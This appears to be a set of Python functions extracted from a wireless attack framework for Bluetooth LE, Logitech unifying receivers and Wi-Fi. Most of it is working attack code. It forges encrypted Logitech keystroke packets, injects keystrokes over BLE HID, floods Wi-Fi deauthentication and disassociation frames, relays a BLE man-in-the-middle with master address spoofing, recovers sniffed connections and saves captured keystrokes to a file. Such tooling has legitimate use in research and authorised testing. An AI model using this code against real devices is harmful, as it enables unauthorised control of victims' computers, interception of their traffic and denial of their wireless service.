def addLogitechKeystroke(self, locale="fr", key="a", ctrl=False, alt=False, gui=False, shift=False): keystrokes = [] keystrokeUnencryptedPayload = esb.LogitechKeystroke(locale=locale, key=key, ctrl=ctrl, alt=alt, gui=gui, shift=shift).data forgedPayload = bytes([ self.lastKeyRelease.hidData[i] ^ keystrokeUnencryptedPayload[i] for i in range(len(self.lastKeyRelease.hidData)) ]) io.info("Forged payload: " + forgedPayload.hex()) keystrokes.append( esb.ESBLogitechEncryptedKeystrokePacket( address=self.target, aesCounter=self.lastKeyRelease.aesCounter, unknown=self.lastKeyRelease.unknown, hidData=forgedPayload)) keystrokes.append(wireless.WaitPacket(time=12 / 1000.0)) keystrokes.append( esb.ESBLogitechKeepAlivePacket(address=self.target, timeout=1200)) keystrokes.append( esb.ESBLogitechEncryptedKeystrokePacket( address=self.target, aesCounter=self.lastKeyRelease.aesCounter, unknown=self.lastKeyRelease.unknown, hidData=self.lastKeyRelease.hidData)) return keystrokes
def onKey(self, key): if key == "esc": self.emitter.sendp(ble.BLEDisconnect()) return False if self.mode in ("text", "duckyscript") and key.lower() == "space": print(self.attackStream) for o in self.attackStream: print(o) self.emitter.sendp(*self.attackStream) if self.mode == "interactive": if self.mode == "interactive": injectedKeystroke = "" if key == "space": injectedKeystroke = " " elif key == "delete": injectedKeystroke = "DEL" elif key in [ "enter", "shift", "alt", "ctrl", "backspace", "up", "down", "left", "right", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "f10", "f11", "f12" ]: injectedKeystroke = key.upper() else: injectedKeystroke = key io.info("Injecting:" + str(injectedKeystroke)) self.emitter.sendp(*(self.addHIDoverGATTKeystroke( key=injectedKeystroke, locale="fr"))) return False
def send_deauth(self): packet_count = utils.integerArg(self.args["COUNT"]) if packet_count == 0: count = 0 while True: if self.args["MODE"].lower( ) == "both" or self.args["MODE"].lower() == "deauthentication": self.emitter.sendp(self.deauth_packet) if self.args["MODE"].lower( ) == "both" or self.args["MODE"].lower() == "disassociation": self.emitter.sendp(self.disas_packet) utils.wait(seconds=0.05) count += 1 if count % 100 == 0 and utils.booleanArg(self.args['VERBOSE']): io.info("Sent {} deauthentication packets via {}".format( count, self.args["INTERFACE"])) else: for count in range(packet_count): if self.args["MODE"].lower( ) == "both" or self.args["MODE"].lower() == "deauthentication": self.emitter.sendp(self.deauth_packet) if self.args["MODE"].lower( ) == "both" or self.args["MODE"].lower() == "disassociation": self.emitter.sendp(self.disas_packet) utils.wait(seconds=0.05) if count % 100 == 0 and utils.booleanArg(self.args['VERBOSE']): io.info("Sent {} deauthentication packets via {}".format( count, self.args["INTERFACE"]))
def readBlobRequest(self,packet): io.info("Read Blob Request : handle = "+hex(packet.handle) + " / offset = "+str(packet.offset)) (success,response) = self.server.readBlob(packet.handle,packet.offset) if success: self.emitter.sendp(ble.BLEReadBlobResponse(value=response)) else: self.emitter.sendp(ble.BLEErrorResponse(request=0x0a, ecode=response,handle=packet.handle))
def writeRequest(self,packet): io.info("Write Request : handle = "+hex(packet.handle)+" / value = "+packet.value.hex()) (success,code) = self.server.writeRequest(packet.handle,packet.value) if success: self.emitter.sendp(ble.BLEWriteResponse()) else: self.emitter.sendp(ble.BLEErrorResponse(request=0x12,ecode=code,handle=packet.handle))
def setChannel(self, channel): ''' This method allows to set the channel to use by the corresponding Device. :param channel: channel to use :type channel: int :return: boolean indicating if the channel change operation is successful :rtype: bool :Example: >>> device.setChannel(11) True .. note:: This method is a **shared method** and can be called from the corresponding Emitters / Receivers. ''' if self.channel != int(channel): mio.info("New channel : " + str(channel)) self.channel = int(channel) if channel == 14: frequency = 2484000000 else: frequency = (2407 + channel * 5) * 1000000 return self.setFrequency(frequency) return False
def run(self): self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) if self.checkCapabilities(): if utils.isNumber(self.args["CHANNEL"]): self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) else: io.fail("You must provide a channel number !") return self.nok() self.pcapReceiver = self.getReceiver( interface=self.args["PCAP_FILE"]) io.info("Extracting packet stream from PCAP ...") stream = self.pcapReceiver.generateStream() io.success("Packet stream successfully extracted !") io.info("Injecting ...") self.emitter.sendp(*stream) for i in stream: i.show() while not self.emitter.isTransmitting(): utils.wait(seconds=0.1) while self.emitter.isTransmitting(): utils.wait(seconds=0.1) io.success("Injection done !") return self.ok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to inject frames.") return self.nok()
def write_req(self, handle, value): if self.receiver.isConnected(): if utils.isHexadecimal(handle) and utils.isHexadecimal(value): self.emitter.sendp( ble.BLEWriteRequest(handle=int(handle, 16), value=bytes.fromhex(value))) io.info("Write Request : handle = " + handle + " / value = " + value) response = self.receiver.next(timeout=3) retry = 3 while not (isinstance(response, ble.BLEWriteResponse) or isinstance(response, ble.BLEErrorResponse) or retry == 0): response = self.receiver.next(timeout=1) retry -= 1 if isinstance(response, ble.BLEWriteResponse): io.success("Response : success") elif isinstance(response, ble.BLEErrorResponse): io.fail("Error response !") elif retry == 0: io.fail("Timeout error !") else: io.fail( "Handle or value is not correctly formatted (hexadecimal) !" ) else: io.fail("No active connections !")
def _injectPacket(self,packet): self.inject = True self.currentAttack["attack"] = "injection" self.currentAttack["status"] = "launched" io.info("Starting injection attack: injecting ...") self._internalCommand(Butterfly_Send_Payload_Command(payload_direction=0x00,payload_size=len(raw(packet[BTLE_DATA:])),payload_content=raw(packet[BTLE_DATA:]))) self._send(Butterfly_Message_Hdr()/Butterfly_Command_Hdr()/Butterfly_Start_Attack_Command(attack=0x01))
def importGATT(self, filename=""): filename = filename if filename != "" else self.args["GATT_FILE"] io.info("Importing GATT layer datas from " + filename + " ...") config = configparser.ConfigParser() config.read(filename) for element in config.sections(): infos = config[element] if "type" in infos: if infos.get("type") == "service": startHandle = int(element, 16) endHandle = int(infos.get("endhandle"), 16) uuid = bytes.fromhex(infos.get("uuid")) if infos.get("servicetype") == "primary": self.server.addPrimaryService(uuid, startHandle) else: self.server.addSecondaryService(uuid, startHandle) elif infos.get("type") == "characteristic": declarationHandle = int(element, 16) uuid = bytes.fromhex(infos.get("uuid")) valueHandle = int(infos.get("valuehandle"), 16) value = bytes.fromhex(infos.get("value")) permissions = infos.get("permissions").split(",") self.server.addCharacteristic(uuid, value, declarationHandle, valueHandle, permissions) elif infos.get("type") == "descriptor": handle = int(element, 16) uuid = bytes.fromhex(infos.get("uuid")) value = bytes.fromhex(infos.get("value")) self.server.addDescriptor(uuid, value, handle)
def run(self): interface = self.args["INTERFACE"] self.emitter = self.getEmitter(interface=interface) self.receiver = self.getReceiver(interface=interface) if self.checkCapabilities(): self.initializeServer() if self.args["ATT_FILE"] != "" and self.fileExists( self.args["ATT_FILE"]): self.importATT() elif self.args["GATT_FILE"] != "" and self.fileExists( self.args["GATT_FILE"]): self.importGATT() else: io.info("No filename provided : empty database !") self.initializeCallbacks() if self.loadScenario(): io.info("Scenario loaded !") self.startScenario() while not self.emitter.isConnected(): utils.wait(seconds=0.01) while self.emitter.isConnected(): utils.wait(seconds=0.01) self.endScenario() else: interpreter.Interpreter.loop(self) return self.ok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to communicate as a slave.") return self.nok()
def masterIdentityAddressInformation(self, packet): io.info("Identity Address Information (from master) : address = " + str(packet.address) + " / type = " + packet.type) io.info("Redirecting to slave ...") self.a2sEmitter.sendp( ble.BLEIdentityAddressInformation(address=packet.address, type=packet.type))
def connect(self, packet): if self.getStage() == BLEMitmStage.WAIT_CONNECTION: io.success("Master connected : " + packet.srcAddr) self.initiatorAddress = packet.srcAddr self.initiatorAddressType = b"\x00" if packet.type == "public" else b"\x01" if self.args["ADVERTISING_STRATEGY"] == "preconnect": if utils.booleanArg(self.args["MASTER_SPOOFING"]): self.a2sEmitter.sendp(ble.BLEDisconnect()) while self.a2sEmitter.isConnected(): utils.wait(seconds=0.01) self.a2sEmitter.setAddress(packet.srcAddr, random=packet.type == "random") address = utils.addressArg(self.args["TARGET"]) connectionType = self.args["CONNECTION_TYPE"] io.info("Connecting to slave " + address + "...") self.a2sEmitter.sendp( ble.BLEConnect(dstAddr=address, type=connectionType, initiatorType=packet.type)) while not self.a2sEmitter.isConnected(): utils.wait(seconds=0.01) if self.args["ADVERTISING_STRATEGY"] == "flood": if utils.booleanArg(self.args["MASTER_SPOOFING"]): self.a2sEmitter.setAddress(packet.srcAddr, random=packet.type == "random") self.connectOnSlave(packet.type) self.setStage(BLEMitmStage.ACTIVE_MITM) io.info("Entering ACTIVE_MITM stage ...")
def writeRequest(self, packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Write Request (from master) : handle = " + hex(packet.handle) + " / value = " + packet.value.hex()) io.info("Redirecting to slave ...") self.a2sEmitter.sendp( ble.BLEWriteRequest(handle=packet.handle, value=packet.value))
def run(self): interface = self.args["INTERFACE"] timeout = utils.integerArg(self.args["TIMEOUT"]) self.emitter = self.getEmitter(interface=interface) self.receiver = self.getReceiver(interface=interface) if self.checkCapabilities(): io.info("Trying to connect to : " + self.args["TARGET"] + " (type : " + self.args["CONNECTION_TYPE"] + ")") self.emitter.sendp( ble.BLEConnect(self.args["TARGET"], type=self.args["CONNECTION_TYPE"])) while not self.receiver.isConnected() and timeout > 0: timeout -= 1 utils.wait(seconds=1) if self.receiver.isConnected(): io.success("Connected on device : " + self.args["TARGET"]) return self.ok({"INTERFACE": self.args["INTERFACE"]}) else: io.fail("Error during connection establishment !") self.emitter.sendp(ble.BLEConnectionCancel()) return self.nok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to initiate connection.") return self.nok()
def exportTextFile(self): io.info("Captured keystrokes: "+self.text) if self.args["TEXT_FILE"] != "": with open(self.args["TEXT_FILE"],"w") as f: io.success("Captured keystrokes stored as "+self.args["TEXT_FILE"]) f.write(self.text) f.close()
def onKey(self, key): if key == "esc": self.module.stopScenario() return True if self.mode == "interactive": injectedKeystroke = "" if key == "space": injectedKeystroke = " " elif key == "delete": injectedKeystroke = "DEL" elif key in [ "enter", "shift", "alt", "ctrl", "backspace", "up", "down", "left", "right", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "f10", "f11", "f12" ]: injectedKeystroke = key.upper() else: injectedKeystroke = key io.info("Injecting:" + str(injectedKeystroke)) self.lock.acquire() self.emitter.clear() self.emitter.sendp(*( self.addLogitechKeystroke(key=injectedKeystroke, locale="fr") + self.addLogitechDelay())) self.lock.release() return True
def run(self): self.emitter = self.getEmitter(interface=self.args['INTERFACE']) self.receiver = self.getReceiver(interface=self.args['INTERFACE']) self.currentChannel = self.emitter.getChannel() self.initializeCallbacks() if self.checkCommunicationCapabilities(): if self.args["TARGET"] != "": self.emitter.enterSnifferMode(self.args["TARGET"]) self.target = self.args["TARGET"].upper() self.updatePrompt(self.target) else: self.updatePrompt() if self.loadScenario(): self.scenarioStop = False io.info("Scenario loaded !") self.startScenario() while not self.scenarioStop: utils.wait(seconds=0.1) self.endScenario() else: interpreter.Interpreter.loop(self) return self.ok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to communicate as a PRX device.") return self.nok()
def findInformationResponse(self, packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Find Information Response (from slave) : format = " + hex(packet.format) + " / data = " + packet.data.hex()) io.info("Redirecting to master ...") self.a2mEmitter.sendp( ble.BLEFindInformationResponse(format=packet.format, data=packet.data))
def indication(self, packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Handle Value Indication (from slave) : handle = " + hex(packet.handle) + " / value = " + packet.value.hex()) io.info("Redirecting to master ...") self.a2mEmitter.sendp( ble.BLEHandleValueIndication(handle=packet.handle, value=packet.value))
def readBlob(self, packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Read Blob Request (from master) : handle = " + hex(packet.handle) + " / offset = " + str(packet.offset)) io.info("Redirecting to slave ...") self.a2sEmitter.sendp( ble.BLEReadBlobRequest(handle=packet.handle, offset=packet.offset))
def readByGroupTypeResponse(self, packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Read By Group Type Response (from slave) : length = " + str(packet.length) + " / data = " + packet.data.hex()) io.info("Redirecting to master ...") self.a2mEmitter.sendp( ble.BLEReadByGroupTypeResponse(length=packet.length, data=packet.data))
def _updateChannelMap(self, channelMap=None): channelMap = 0x1fffffffff io.info("Ubertooth can only sniff connections with channel map : " + "0x{:10x}".format(channelMap)) io.success("Channel Map successfully updated : " + "0x{:10x}".format(channelMap)) self._setChannelMap(channelMap) io.info("Recovering Hop Interval ...")
def _recoverFromAccessAddress(self, accessAddress): aa = accessAddress if accessAddress is not None else self._getAccessAddress( ) io.info("Recovering CRCInit ...") self._reset() pkt = self._internalCommand( BTLEJack_Recover_Command() / BTLEJack_Recover_Connection_AA_Command(access_address=aa))
def readByGroupType(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Read By Group Type Request (from master) : startHandle = "+hex(packet.startHandle)+ " / endHandle = "+hex(packet.endHandle)+" / uuid = "+hex(packet.uuid)) io.info("Redirecting to slave ...") self.a2sEmitter.sendp(ble.BLEReadByGroupTypeRequest( startHandle=packet.startHandle, endHandle=packet.endHandle, uuid=packet.uuid))
def onConnectionParameterUpdateRequest(self,packet): io.info("Updating connection parameters ...") io.info(" => Timeout: "+str(packet.timeoutMult)) io.info(" => Latency: "+str(packet.slaveLatency)) io.info(" => Minimum interval: "+str(packet.minInterval)) io.info(" => Maximum interval: "+str(packet.maxInterval)) self.emitter.updateConnectionParameters(timeout=packet.timeoutMult,latency=packet.slaveLatency, minInterval=packet.minInterval,maxInterval=packet.maxInterval,minCe=0,maxCe=0) self.emitter.sendp(ble.BLEConnectionParameterUpdateResponse(l2capCmdId = packet.l2capCmdId,moveResult=0))
def onESBLogitechEncryptedKeystrokePacket(self, pkt): pkt.show() if self.lastKeyPress is None: self.lastKeyPress = pkt elif self.lastKeyRelease is None: self.lastKeyRelease = pkt io.info("AES Counter: " + str(pkt.aesCounter)) io.info("Encrypted data: " + str(pkt.hidData.hex()))
def probeResponse(self, packet): self.emitter.sendp( wifi.WifiProbeResponse(destMac=packet.srcMac, beaconInterval=100, SSID=self.args["SSID"], cypher=self.args["CYPHER"])) io.info("Incoming Probe Request from : " + packet.srcMac) io.info("Answering...")
def address(self, address=""): if address == "": io.info("Current address : " + self.emitter.getAddress()) else: success = self.emitter.setAddress(address) if success: io.success("New address set : " + self.emitter.getAddress()) else: io.fail("An error occured during address modification.")
def findInformation(self, packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Find Information Request (from master) : startHandle = " + hex(packet.startHandle) + " / endHandle = " + hex(packet.endHandle)) io.info("Redirecting to slave ...") self.a2sEmitter.sendp( ble.BLEFindInformationRequest(startHandle=packet.startHandle, endHandle=packet.endHandle))